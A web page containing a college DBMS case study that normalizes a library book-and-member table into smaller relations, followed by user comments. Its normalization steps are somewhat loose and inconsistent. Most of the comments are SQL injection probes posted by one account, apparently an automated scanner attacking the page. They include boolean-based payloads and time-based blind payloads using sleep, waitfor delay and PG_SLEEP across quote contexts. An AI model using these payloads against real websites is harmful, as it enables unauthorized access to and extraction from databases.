# DBMS CASE STUDY 1

D Shyam Prakash & C Kalpana

March 21, 2020, 7:11 a.m. | Database Management

 Faculty Name Mrs. C. Kalpana Course Code / Title CS8492&Database Management Systems Focus Area Database Design & Normalization Learning Outcome Apply normalization concept for real world applications Teaching Pedagogy Case Study &Discussion Knowledge Level K3

Problem Statement:

Consider a database table that consists of details of members of the library and books available in the library. The library table has entailment details for members in the same table to restrict the number of books taken by a member.The Table Contains:

The Table Contains:

 Book_id, Title Price Member_id Member_ Name Member_type, Entailment 101 Computer Networks 400 CS11 Ravi K Faculty 5 102 Operating Systems 700 CS11 Ravi K Faculty 5 103 System Software 300 CS12 Shyam Sundar Student 4 104 Software Engineering 450 CS14 Venkatesh Student 4 105 Data Base Systems 750 CS12 Shyam Sundar Student 4

Questions:

1.Eliminate the redundancy from the above table.

2.Eliminate Data manipulation anomalies and Data Inconsistency from the above table.

Solution:

Normalization eliminates duplicates and data manipulation anomalies from data base.

Relation R à Book_id, Title, Price, Member_id, Member_ Name, Member_type and

Entailment

1st Normal Form

A relation R is said to be in the first normal form (1 NF) if and only if all the attributes of the relation are atomic in nature.

·         There are no multi value attributes

·         There is a repeating group in Relation R, so split the table into two as below.

R1 à Book_id, Member_id, Title and Price

R2 àMember_id, Member_ First_Name, Member_ Last_Name, Member_type and Entailment

2nd Normal Form

A relation R is said to be in the second normal form (2 NF) if and only ifit is in the first normal form and no partial dependency exists between non-key attributes and key attributes.

·         There is transitive dependency in Relation R2, so split it into two as below.

R11 à Book_id, Title and Price

R12 à Book_id, Member_id

R21 àMember_id, Member_ Name, Member_ Last_Name and Member_type

R22 àMember_type and Entailment

Book
 Book_id Title Price

Transaction

 Book_id Member_id

Member

 Member_id Member_First_ Name Member_ Last_Name Member_type

Entailment

 Member_type Entailment

We Want more content in this topic and explanation videos
##### nisha_3
please improve the font style and differentiate with different colour as it is easy to understand
##### ubaTaeCJ
-1 OR 2+702-702-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+702-702-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+702-702) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+702-702) --
##### ubaTaeCJ
-1 OR 2+889-889-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+889-889-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+889-889)
##### ubaTaeCJ
-1 OR 3*2>(0+5+889-889)
##### ubaTaeCJ
-1' OR 2+985-985-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+985-985-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+985-985) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+985-985) --
##### ubaTaeCJ
-1' OR 2+255-255-1=0+0+0+1 or 'VZJhD7gt'='
##### ubaTaeCJ
-1' OR 3+255-255-1=0+0+0+1 or 'VZJhD7gt'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+255-255) or 'VZJhD7gt'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+255-255) or 'VZJhD7gt'='
##### ubaTaeCJ
-1" OR 2+949-949-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+949-949-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+949-949) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+949-949) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
bsNj5rhs'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 573=(SELECT 573 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 356=(SELECT 356 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 112=(SELECT 112 FROM PG_SLEEP(15))--
##### ubaTaeCJ
leE4IcK1' OR 958=(SELECT 958 FROM PG_SLEEP(15))--
##### ubaTaeCJ
UV0X5KfY') OR 213=(SELECT 213 FROM PG_SLEEP(15))--
##### ubaTaeCJ
mqZGUxAL')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--